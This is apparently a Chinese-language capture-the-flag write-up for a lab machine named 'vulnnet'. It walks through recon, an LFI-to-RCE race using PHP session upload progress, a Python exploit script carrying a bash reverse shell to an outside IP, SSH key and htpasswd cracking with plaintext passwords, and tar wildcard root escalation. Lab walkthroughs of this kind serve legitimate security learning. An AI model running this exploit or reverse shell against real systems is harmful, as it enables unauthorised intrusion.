Recon
- 掃 Port
-
rustscan -a 10.10.86.144 -r 1-65535
-
nmap -A -p22,80 10.10.86.144
- 掃目錄
-
python3 dirsearch.py -u http://10.10.86.144/
- 發現登入頁面
-
- 戳了常見的 SQL injection 都不行
- 觀察網頁連結
-
-
- 可以看到一個網址
broadcast.vulnnet.thm
- 訪問
broadcast.vulnnet.thm
-
- 發現需要登入
LFI 2 RCE
- 觀察首頁
referer
參數
- 發現可以 LFI
- 用 Session upload progress 大法就可以 RCE 了!!
import grequests
sess_name = 'meowmeow'
sess_path = f'/var/lib/php/sessions/sess_{sess_name}'
base_url = 'http://vulnnet.thm/index.php'
param = "referer"
#code = "file_put_contents('/tmp/shell.php','<?php system($_GET[a])');"
code = '''system("bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'");'''
while True:
req = [grequests.post(base_url,
files={'f': "A"*0xffff},
data={'PHP_SESSION_UPLOAD_PROGRESS': f"pwned:<?php {code} ?>"},
cookies={'PHPSESSID': sess_name}),
grequests.get(f"{base_url}?{param}={sess_path}")]
result = grequests.map(req)
if "pwned" in result[1].text:
print(result[1].text)
break
- 然後就 RCE 了
-
- (感覺就不是正規解...ㄏㄏ)
提權
- 先用豌豆掃描一次
-
- 找到 backup
- 觀察 backup 檔案,發現有 ssh-backup
-
- 先偷出來再說
- 解壓縮
-
- 發現是
id_rsa
- 到家目錄看使用者名稱
-
- 發現使用者是
server-management
SSH 登入
- 準備 ssh 登入
-
- 發現
id_rsa
需要密碼 QQ
- 用約翰爆破
-
python3 ../../ssh2john.py id_rsa > id_rsa_john
-
- 密碼是
oneTWO3gOyac
- SSH 登入
-
- 取得 user flag
- 跑豌豆掃到
.htpasswd
密碼的 hash
- 猜測應該是給
broadcast.vulnnet.thm
用的
-
- 用約翰爆破個
-
- 密碼是
9972761drmfsls
- 猜測原始思路正規解法應該是,前面 LFI 到這個檔案然後取得密碼後來做進一步的動作
- 訪問 broadcast.vulnnet.thm
- 使用帳號
developers
- 密碼
9972761drmfsls
-
二次提權
- 想起前面的 Backup 用了
tar *
- 收 Shell
- 取得 Root Flag